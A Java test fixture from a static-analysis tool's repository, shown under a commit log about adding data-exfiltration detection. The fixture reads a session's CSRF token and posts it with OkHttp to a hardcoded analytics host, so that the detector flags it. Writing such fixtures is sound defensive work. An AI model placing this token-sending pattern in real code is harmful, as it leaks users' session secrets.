nyx/tests/fixtures/java/data_exfil_okhttp.java
Eli Peter 58f1794a4e
Added Cap::DATA_EXFIL and taint fp and fn fixes on real repos (#59)
* feat: Enhance data exfiltration detection with source sensitivity gating for cookies and headers

* feat: Implement cross-file data exfiltration detection with parameter-specific gate filters

* feat: Add calibration tests and refine DATA_EXFIL severity scoring logic

* feat: Introduce per-detector configuration for data exfiltration suppression

* feat: Enhance DATA_EXFIL findings with destination field tracking in diagnostics and SARIF output

* feat: Add tainted body and URL handling for data exfiltration detection

* feat: Add integration tests and fixtures for DATA_EXFIL and SSRF detection in Go

* feat: Add Java integration tests and fixtures for DATA_EXFIL detection across multiple HTTP clients

* feat: Add synthetic externals handling for closure-captured variables in SSA

* feat: Implement closure-based suppression for resource leak findings

* feat: Add regression guards for shell-injection and taint propagation in for-of destructure patterns

* feat: Implement constructor cap narrowing for data exfiltration detection in HTTP request builders

* feat: Add gated sinks for data exfiltration detection in C and C++ using curl_easy_setopt

* feat: Implement DATA_EXFIL cap parity for backwards analysis and add integration tests

* feat: Add data exfiltration sinks for various languages and enhance documentation

* refactor: Simplify formatting and improve readability in various files

* refactor: Improve readability by simplifying conditional statements and adding clippy linting

* docs: Update CHANGELOG and comments for data exfiltration features and configuration

* docs: Clarify configuration instructions for data exfiltration trusted destinations

* docs: Enhance comments for evidence routing logic in data exfiltration
2026-05-01 10:59:52 -04:00

28 lines
1.1 KiB
Java

// DATA_EXFIL fixture: OkHttp two-step. A session attribute (Sensitive)
// is wrapped via `RequestBody.create` (default arg → return smear)
// and bound to the request via the builder chain. The network call
// happens at `client.newCall(req).execute()` which hits the
// chain-normalized `newCall.execute` matcher. SSRF must NOT fire on
// the hardcoded URL.
//
// Driven by `data_exfil_java_integration_tests.rs`.
import javax.servlet.http.HttpSession;
import okhttp3.MediaType;
import okhttp3.OkHttpClient;
import okhttp3.Request;
import okhttp3.RequestBody;
import okhttp3.Response;
public class DataExfilOkHttp {
public void leak(HttpSession session) throws Exception {
String token = (String) session.getAttribute("csrfToken");
OkHttpClient client = new OkHttpClient();
RequestBody body = RequestBody.create(
token, MediaType.parse("text/plain"));
Request req = new Request.Builder()
.url("https://analytics.internal/track")
.post(body)
.build();
Response resp = client.newCall(req).execute();
}
}